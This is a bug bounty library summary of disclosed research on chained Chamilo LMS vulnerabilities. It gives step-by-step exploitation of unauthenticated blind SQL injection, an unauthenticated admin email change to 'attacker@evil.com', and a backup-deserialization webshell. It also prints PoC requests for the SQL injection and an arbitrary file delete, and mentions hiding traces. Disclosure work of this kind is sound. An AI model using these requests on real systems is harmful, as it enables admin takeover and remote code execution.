# Chamilo LMS... It's raining 0days, hallelujah, it's raining 0days

Unauthenticated SQLi plus unauthenticated email update and unserialize file-write in Chamilo LMS chain to pre-auth admin takeover and webshell RCE.

- Payout: Research
- Severity: critical
- Program: Chamilo LMS
- Write-up by: Mathieu Farrell
- Disclosed: 2026-08-31
- CVE: CVE-2026-61600, CVE-2026-70647, CVE-2026-61578, CVE-2026-70648, CVE-2026-61602, CVE-2026-61601, CVE-2026-61587, CVE-2026-61585
- Write-up quality: 8/10
- Original: http://blog.quarkslab.com/chamilo-lms-its-raining-0days-hallelujah-its-raining-0days.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-quarkslab-com-chamilo-lms-its-raining-0days-hallelujah-its-raining-0days-html
- Tags: area:web domain:web impact:ato impact:rce kind:research platform:research sev:critical tech:php technique:chained vuln:access-control vuln:account-takeover vuln:deserialization vuln:file-upload vuln:sqli

**Target:** PHP LMS web application (AJAX endpoints, course backup import)
**Root cause:** Multiple: user-controlled filters->groupOp concatenated into SQL WHERE; update_users AJAX action lacks auth and mass-assigns email; course_info.dat deserialized with allowlisted Course/Document classes whose path property is trusted during file restore.
**Steps:**
1. Enumerate a valid course code via /main/auth/courses.php?action=display_courses to get cidReq.
2. Trigger password reset for admin: `POST /main/auth/lostPassword.php` with `user=admin&submit=&_qf__lost_password=`.
3. Exploit SQLi at `GET /main/inc/ajax/model.ajax.php?a=get_work_student&_search=true&filters={"groupOp":" OR IF(1=(SELECT user_id FROM user WHERE username='admin'),SLEEP(5),0) OR ","rules":[...]}&cidReq=TESTCOURSE` to blind-dump admin row and confirmation_token.
4. Optionally change admin email via unauthenticated `update_users` action in main/inc/ajax/user_manager.ajax.php with `{"user_id":1,"email":"attacker@evil.com"}`.
5. Reset admin password: `POST /main/auth/reset.php?token=<stolen>` with `pass1=...&pass2=...`.
6. Log in as admin, create a course, upload a PHP payload as a document.
7. Create course backup, extract ZIP, base64-decode/deserialize course_info.dat, change Document path to `coiffeur.php`, re-serialize/re-encode/repack.
8. Import modified backup; deserialization writes webshell to /app/courses/{course_code}/coiffeur.php and execute it.
**How found:** Manual code audit spotted direct concatenation of course_id, work_parent_ids and filters->groupOp into SQL WHERE clauses in model.ajax.php/pending.php; LLM-assisted review found missing auth on update_users; code reading of CourseArchiver/UnserializeApi showed allowlisted classes with attacker-controllable path properties.
**Exploitation:** Chain: blind boolean SQLi dumps admin confirmation_token (bypassing email verification), or unauthenticated update_users changes admin email; reset token yields admin password reset; authenticated admin creates course with uploaded PHP file; tampered backup metadata redirects file to web root on import, achieving RCE as web server user. Attacker restores original DB records to hide traces.
**Escalation:** SQLi -> admin ATO -> authenticated course backup import -> arbitrary file write -> webshell RCE; DB backup/restore to evade detection.
**Insight:** Allowlisted unserialize classes are still dangerous when their properties (like Document path) are trusted for file operations; and AJAX switch actions dispatching on $_REQUEST['a'] often skip auth checks entirely.

## Proof of concept (copied exactly from the original report)

**Unauthenticated SQLi time-based PoC request**

```
GET /main/inc/ajax/model.ajax.php?a=get_work_student&_search=true&filters={%22groupOp%22:%22%20OR%20IF(1=(SELECT+user_id+FROM+user+WHERE+username%3d'admin'),SLEEP(5),0)%20OR%20%22,%22rules%22:[{%22field%22:1,%22op%22:%22eq%22,%22data%22:2},{%22field%22:%222%22,%22op%22:%22eq%22,%22data%22:%221%22}]}&cidReq=TESTCOURSE HTTP/1.1
Host: 127.0.0.1
```

**Arbitrary file delete plugin PoC request**

```
GET /plugin/cleandeletedfiles/src/ajax.php?a=delete-file&path=/tmp/TEST HTTP/1.1
Host: 127.0.0.1
Cookie: ch_sid=dc7360e7ec809c26ed7aee5c45618cae


Response (HTTP):

HTTP/1.1 200 OK
...
Content-Length: 17
Content-Type: text/html; charset=UTF-8

{"status":"true"}
```

